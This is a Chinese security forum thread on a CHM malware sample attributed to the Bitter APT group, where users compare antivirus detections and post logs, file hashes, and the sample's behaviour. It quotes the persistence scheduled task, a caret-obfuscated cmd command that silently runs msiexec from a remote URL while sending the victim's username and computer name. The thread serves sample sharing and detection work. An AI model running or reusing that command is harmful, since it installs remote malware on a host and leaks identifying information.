#APT #APT-C-08 #Bitter #蔓灵花 CHM 样本 1X

显示全部楼层 · 发表于 2024-2-7 14:48:11

本帖最后由 Allure361 于 2024-2-7 14:58 编辑

江民miss

————————————分割线——————————————

360total security kill

显示全部楼层 · 发表于 2024-2-7 14:50:40

五双击无反应

显示全部楼层 · 发表于 2024-2-7 14:58:59

显示全部楼层 · 发表于 2024-2-7 15:00:43

类型:木马-Generic/Trojan.Generic.HicATSsA
描述:木马是一种伪装成正常文件的恶意软件，会盗取您的帐号、密码等隐私资料。
扫描引擎:云安全引擎
文件路径:D:\360安全浏览器下载\未命名文件夹 2\20240123CN-ENG.chm
文件大小:11K (11,258 字节)
文件指纹（MD5）:3b0d0a7e728aa516281e751fdddf57df
数字签名:
数字签名是否有效:无效
处理建议:隔离文件

显示全部楼层 · 发表于 2024-2-7 15:04:48

病毒名称：TrojanDownloader/HTML.Agent.o
病毒ID：30FF6C3A0F34C007
病毒路径：C:\Users\61460\Desktop\未命名文件夹 2\20240123CN-ENG.chm
操作类型：执行
操作结果：已处理，删除文件

进程ID：13820
操作进程：C:\Windows\hh.exe
操作进程命令行："C:\Windows\hh.exe" C:\Users\61460\Desktop\未命名文件夹 2\20240123CN-ENG.chm
父进程：C:\Windows\explorer.exe

显示全部楼层 · 发表于 2024-2-7 15:07:40

似乎没有办法从这个链接把安装的内容下载下来

hxxp://northgenstudios.com/ML/vbn.php?pi=%username%*%computername%

显示全部楼层 · 发表于 2024-2-7 15:08:00

会生成个计划任务，用安全卫士查杀即可。
MicrosoftEdgeUpdatesCycler \MicrosoftEdgeUpdatesCycler C:\Windows\System32\cmd.exe /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://nor^th^ge^nst^udi^os.c^om/ML/vbn.p^h^p?p^i=%username%*%computername% /^q^n ^/^norestart 启用 Microsoft Corporation

显示全部楼层 · 发表于 2024-2-7 15:19:30

蜘蛛落地kill
智量扫描miss

显示全部楼层 · 发表于 2024-2-7 15:43:40

卡巴检测
事件: 对象已删除
用户类型: 发起者
应用程序名称: WinRAR.exe
应用程序路径: D:\Winrar
组件: 文件反病毒
结果说明: 已删除
类型: 木马
名称: HEUR:Trojan.Script.Generic
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: 20240123CN-ENG.chm
对象路径: C:\Users\\Desktop\未命名文件夹 2\未命名文件夹 2
对象的 MD5: 6D437B20F2719E459779887AB5FED4E3

[病毒样本] #APT #APT-C-08 #Bitter #蔓灵花 CHM 样本 1X

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源